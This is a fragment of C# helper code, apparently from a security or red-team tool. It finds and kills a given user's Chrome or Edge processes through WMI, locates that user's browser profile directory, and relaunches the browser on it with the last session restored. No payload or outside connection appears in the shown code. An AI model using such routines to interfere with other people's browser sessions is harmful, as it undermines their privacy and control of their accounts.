131 | // Get the owner of this process
132 | var ownerQuery = $"SELECT * FROM Win32_Process WHERE ProcessId = {processId}";
133 | var ownerSearcher = new ManagementObjectSearcher(ownerQuery);
134 | var ownerProcesses = ownerSearcher.Get();
135 |
136 | foreach (ManagementObject ownerProcess in ownerProcesses)
137 | {
138 | string[] ownerInfo = new string[2];
139 | int result = Convert.ToInt32(ownerProcess.InvokeMethod("GetOwner", ownerInfo));
140 |
141 | if (result == 0 && ownerInfo[0] != null)
142 | {
143 | var processOwner = ownerInfo[0];
144 | if (string.Equals(processOwner, username, StringComparison.OrdinalIgnoreCase))
145 | {
146 | Utils.WriteLine($"[+] Found {processName} process (PID: {processId}) owned by {processOwner}");
147 | return true;
148 | }
149 | }
150 | }
151 | }
152 | catch (Exception ex)
153 | {
154 | Utils.WriteLine($"[-] Error getting owner for process: {ex.Message}");
155 | }
156 | }
157 |
158 | Utils.WriteLine($"[+] No {processName} processes found for user '{username}'");
159 | return false;
160 | }
161 | catch (Exception ex)
162 | {
163 | Utils.WriteLine($"[-] Error checking if {processName} is running: {ex.Message}");
164 | return false;
165 | }
166 | }
167 |
168 | public static void CloseProcesses(string processName, string sid = null, string profilePath = null)
169 | {
170 | try
171 | {
172 | // Determine username from SID first, then fall back to profile path
173 | string username = null;
174 |
175 | if (!string.IsNullOrEmpty(sid))
176 | {
177 | username = GetUsernameFromSid(sid);
178 | }
179 |
180 | if (string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(profilePath))
181 | {
182 | username = GetUsernameFromProfilePath(profilePath);
183 | }
184 |
185 | if (string.IsNullOrEmpty(username))
186 | {
187 | Utils.WriteLine($"[-] Failed to get username from SID or profile path");
188 | return;
189 | }
190 |
191 | // Use WMI to get processes by name and owner
192 | var query = $"SELECT ProcessId, Name FROM Win32_Process WHERE Name = '{processName}.exe'";
193 | var searcher = new ManagementObjectSearcher(query);
194 | var processes = searcher.Get();
195 |
196 | var userProcesses = new List();
197 |
198 | foreach (ManagementObject process in processes)
199 | {
200 | try
201 | {
202 | var processId = Convert.ToInt32(process["ProcessId"]);
203 |
204 | // Get the owner of this process
205 | var ownerQuery = $"SELECT * FROM Win32_Process WHERE ProcessId = {processId}";
206 | var ownerSearcher = new ManagementObjectSearcher(ownerQuery);
207 | var ownerProcesses = ownerSearcher.Get();
208 |
209 | foreach (ManagementObject ownerProcess in ownerProcesses)
210 | {
211 | string[] ownerInfo = new string[2];
212 | int result = Convert.ToInt32(ownerProcess.InvokeMethod("GetOwner", ownerInfo));
213 |
214 | if (result == 0 && ownerInfo[0] != null)
215 | {
216 | var processOwner = ownerInfo[0];
217 | if (string.Equals(processOwner, username, StringComparison.OrdinalIgnoreCase))
218 | {
219 | userProcesses.Add(processId);
220 | Utils.WriteLine($"[+] Found {processName} process (PID: {processId}) owned by {processOwner}");
221 | }
222 | }
223 | }
224 | }
225 | catch (Exception ex)
226 | {
227 | Utils.WriteLine($"[-] Error getting owner for process: {ex.Message}");
228 | }
229 | }
230 |
231 | if (userProcesses.Count == 0)
232 | {
233 | Utils.WriteLine($"[+] No {processName} processes found for user '{username}' - continuing to installation");
234 | return;
235 | }
236 |
237 | Utils.WriteLine($"[+] Found {userProcesses.Count} {processName} processes to close for user '{username}'");
238 |
239 | foreach (var processId in userProcesses)
240 | {
241 | try
242 | {
243 | var process = Process.GetProcessById(processId);
244 | Utils.WriteLine($"[+] Closing {processName} process (PID: {processId}) for user '{username}'");
245 | process.Kill();
246 | process.WaitForExit(100);
247 | }
248 | catch (Exception ex)
249 | {
250 | Utils.WriteLine($"[-] Failed to close {processName} process {processId}: {ex.Message}");
251 | }
252 | }
253 | }
254 | catch (Exception ex)
255 | {
256 | Utils.WriteLine($"[-] Error closing {processName} processes: {ex.Message}");
257 | }
258 | }
259 |
260 | public static string FindBrowserExecutablePath(string browser)
261 | {
262 | var driveLetter = Path.GetPathRoot(Environment.SystemDirectory).TrimEnd('\\');
263 | string[] exePaths = null;
264 |
265 | if (browser.ToLower() == "chrome")
266 | {
267 | exePaths = new[]
268 | {
269 | $"{driveLetter}\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
270 | $"{driveLetter}\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
271 | //$"{driveLetter}\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
272 | $"{driveLetter}\\Program Files (x86)\\Google\\Application\\chrome.exe"
273 | };
274 | }
275 | else if (browser.ToLower() == "msedge")
276 | {
277 | exePaths = new[]
278 | {
279 | $"{driveLetter}\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
280 | $"{driveLetter}\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
281 | //$"{driveLetter}\\Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe"
282 | };
283 | }
284 | else
285 | {
286 | Utils.WriteLine($"[-] Browser '{browser}' not supported");
287 | return null;
288 | }
289 |
290 | foreach (var exePath in exePaths)
291 | {
292 | if (File.Exists(exePath))
293 | {
294 | Utils.WriteLine($"[+] Found {browser} executable: {exePath}");
295 | return exePath;
296 | }
297 | }
298 |
299 | Utils.WriteLine($"[-] {browser} executable not found in common locations");
300 | return null;
301 | }
302 |
303 | public static string FindBrowserUserDataDir(string profilePath, string browser)
304 | {
305 | var driveLetter = Path.GetPathRoot(Environment.SystemDirectory).TrimEnd('\\');
306 |
307 | string userDataDir = null;
308 | if (browser.ToLower() == "chrome")
309 | {
310 | userDataDir = Path.Combine(profilePath, @"AppData\Local\Google\Chrome\User Data");
311 | }
312 | else if (browser.ToLower() == "msedge")
313 | {
314 | userDataDir = Path.Combine(profilePath, @"AppData\Local\Microsoft\Edge\User Data");
315 | }
316 | else
317 | {
318 | Utils.WriteLine($"[-] Cannot find user data for {browser}. Not supported.");
319 | }
320 |
321 | if (Directory.Exists(userDataDir))
322 | {
323 | Utils.WriteLine($"[+] Found Browser User Data directory: {userDataDir}");
324 | return userDataDir;
325 | }
326 |
327 | Utils.WriteLine($"[-] Browser User Data directory not found: {userDataDir}");
328 | return null;
329 | }
330 |
331 | public static void RestartBrowser(string exePath, string userDataDir)
332 | {
333 | try
334 | {
335 | if (string.IsNullOrEmpty(exePath) || !File.Exists(exePath))
336 | {
337 | Utils.WriteLine("[-] Browser executable path is invalid");
338 | return;
339 | }
340 |
341 | // 06/30: Removed --keep-alive-for-test for now
342 | var arguments = $"--user-data-dir=\"{userDataDir}\" --restore-last-session";
343 |
344 | Utils.WriteLine($"[+] Starting Browser with arguments: {arguments}");
345 |
346 | var startInfo = new ProcessStartInfo
347 | {
348 | FileName = exePath,
349 | Arguments = arguments,
350 | UseShellExecute = false,
351 | CreateNoWindow = false
352 | };
353 |
354 | var process = Process.Start(startInfo);
355 | Utils.WriteLine($"[+] Browser started with PID: {process?.Id}");
356 | }
357 | catch (Exception ex)
358 | {
359 | Utils.WriteLine($"[-] Failed to start Browser: {ex.Message}");
360 | }
361 | }
362 | }
363 | }
--------------------------------------------------------------------------------